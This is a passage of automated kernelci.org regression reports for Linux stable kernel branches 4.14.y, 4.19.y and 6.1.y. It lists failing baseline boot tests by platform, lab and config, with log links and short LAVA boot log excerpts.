qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd39f067eb5aab5535b202
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd39f067eb5aab5535b203
failing since 364 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3b6ba44dcbfeb035b301
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3b6ba44dcbfeb035b302
failing since 365 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290-176-g1ee5c98a9d0bc)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd39cedeba8abf4e35b21b
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd39cedeba8abf4e35b21c
failing since 364 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3b2489c3d1555c35b229
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3b2489c3d1555c35b22a
failing since 365 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290-176-g1ee5c98a9d0bc)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64dd393fee185fbb2335b20e
Results: 49 PASS, 23 FAIL, 2 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64dd393fee185fbb2335b214
failing since 155 days (last pass: v4.14.308, first fail: v4.14.308-4-ge7a701196c571)
2023-08-16T21:01:43.124463 [ 49.441186] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2023-08-16T21:01:44.138229 /lava-11302984/1/../bin/lava-test-case
2023-08-16T21:01:44.147194 [ 50.465497] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy1-probed RESULT=fail>
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64dd393fee185fbb2335b215
failing since 155 days (last pass: v4.14.308, first fail: v4.14.308-4-ge7a701196c571)
2023-08-16T21:01:43.114135 /lava-11302984/1/../bin/lava-test-case
2 years, 4 months
- 1
- 0
stable-rc/linux-4.19.y baseline: 97 runs, 20 regressions (v4.19.292)
by kernelci.org bot
stable-rc/linux-4.19.y baseline: 97 runs, 20 regressions (v4.19.292)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
at91sam9g20ek | arm | lab-broonie | gcc-10 | multi_v5_defconfig | 1
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
imx6dl-udoo | arm | lab-broonie | gcc-10 | imx_v6_v7_defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-4.19.y/kernel/v4.19.29…
Test: baseline
Tree: stable-rc
Branch: linux-4.19.y
Describe: v4.19.292
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: 4e5e7fa94ee0ff378b268679d51feb1fd2a04756
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
at91sam9g20ek | arm | lab-broonie | gcc-10 | multi_v5_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd389218f8fe9b0135b1df
Results: 42 PASS, 9 FAIL, 1 SKIP
Full config: multi_v5_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm/multi_v5…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm/multi_v5…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd389218f8fe9b0135b211
failing since 2 days (last pass: v4.19.291-26-g3c7623350250, first fail: v4.19.291-34-g84b9d8b93009)
2023-08-16T20:58:17.406564 + set +x
2023-08-16T20:58:17.411824 <8><LAVA_SIGNAL_ENDRUN 0_dmesg 58483_1.5.2.4.1>
2023-08-16T20:58:17.525924 / # #
2023-08-16T20:58:17.628903 export SHELL=/bin/sh
2023-08-16T20:58:17.629715 #
2023-08-16T20:58:17.731629 / # export SHELL=/bin/sh. /lava-58483/environment
2023-08-16T20:58:17.732405
2023-08-16T20:58:17.834370 / # . /lava-58483/environment/lava-58483/bin/lava-test-runner /lava-58483/1
2023-08-16T20:58:17.835757
2023-08-16T20:58:17.842130 / # /lava-58483/bin/lava-test-runner /lava-58483/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd333d1eedfd3df635b25a
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm/multi_v7…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm/multi_v7…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd333d1eedfd3df635b25f
failing since 211 days (last pass: v4.19.268-50-gbf741d1d7e6d, first fail: v4.19.269-522-gc75d2b5524ab)
2023-08-16T20:35:54.077199 <8>[ 7.373069] <LAVA_SIGNAL_ENDRUN 0_dmesg 3743798_1.5.2.4.1>
2023-08-16T20:35:54.189301 / # #
2023-08-16T20:35:54.293052 export SHELL=/bin/sh
2023-08-16T20:35:54.294149 #
2023-08-16T20:35:54.396941 / # export SHELL=/bin/sh. /lava-3743798/environment
2023-08-16T20:35:54.398004
2023-08-16T20:35:54.500439 / # . /lava-3743798/environment/lava-3743798/bin/lava-test-runner /lava-3743798/1
2023-08-16T20:35:54.501804
2023-08-16T20:35:54.506385 / # /lava-3743798/bin/lava-test-runner /lava-3743798/1
2023-08-16T20:35:54.590475 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
imx6dl-udoo | arm | lab-broonie | gcc-10 | imx_v6_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd32236f2a5fb0b435b22d
Results: 28 PASS, 5 FAIL, 1 SKIP
Full config: imx_v6_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm/imx_v6_v…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm/imx_v6_v…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.sound-card-probed: https://kernelci.org/test/case/id/64dd32236f2a5fb0b435b237
new failure (last pass: v4.19.291-34-g84b9d8b93009)
2023-08-16T20:31:14.899915 /lava-58514/1/../bin/lava-test-case
2023-08-16T20:31:14.938324 <8>[ 20.514993] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=sound-card-probed RESULT=fail>
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd349e59cfb4458335b1e3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd349e59cfb4458335b1e4
failing since 366 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-191-gab9c8d4442969)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3502b45f42173835b1ec
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3502b45f42173835b1ed
failing since 366 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-215-g4373264025937)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd33674063e8033b35b1f1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33674063e8033b35b1f2
failing since 366 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-191-gab9c8d4442969)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd33a1d82a4b979835b1f8
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33a1d82a4b979835b1f9
failing since 366 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-215-g4373264025937)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd34ee635d52d3e535b1f5
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd34ee635d52d3e535b1f6
failing since 352 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.256-37-g34c3cf0160a8)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd353e1522d789b135b1ee
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd353e1522d789b135b1ef
failing since 358 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-288-g9901269a16d1)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd33684063e8033b35b1f4
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33684063e8033b35b1f5
failing since 352 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.256-37-g34c3cf0160a8)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd33a2d82a4b979835b1fb
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33a2d82a4b979835b1fc
failing since 358 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-288-g9901269a16d1)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd339ad82a4b979835b1ea
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd339ad82a4b979835b1eb
failing since 378 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd36068baa74726d35b1da
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd36068baa74726d35b1db
failing since 366 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-191-gab9c8d4442969)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd33654063e8033b35b1eb
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33654063e8033b35b1ec
failing since 378 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd33f20fff9efeae35b1ec
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33f20fff9efeae35b1ed
failing since 366 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-191-gab9c8d4442969)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd34b11522d789b135b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd34b11522d789b135b1da
failing since 364 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd36198baa74726d35b1f1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd36198baa74726d35b1f2
failing since 358 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-288-g9901269a16d1)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd33664063e8033b35b1ee
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33664063e8033b35b1ef
failing since 364 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd34423b0399811835b441
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd34423b0399811835b442
failing since 358 days (last pass: v4.19.230-41-g73351b9c55d9, first fail: v4.19.255-288-g9901269a16d1)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd33b23668abec4d35b1da
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd33b23668abec4d35b1db
new failure (last pass: v4.19.291-34-g84b9d8b93009)
2 years, 4 months
- 1
- 0
stable/linux-6.1.y baseline: 124 runs, 12 regressions (v6.1.46)
by kernelci.org bot
stable/linux-6.1.y baseline: 124 runs, 12 regressions (v6.1.46)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
acer-chromebox-cxi4-puff | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable/branch/linux-6.1.y/kernel/v6.1.46/plan…
Test: baseline
Tree: stable
Branch: linux-6.1.y
Describe: v6.1.46
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
SHA: 6c44e13dc284f7f4db17706ca48fd016d6b3d49a
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
acer-chromebox-cxi4-puff | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2edb7d34dd120935b224
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
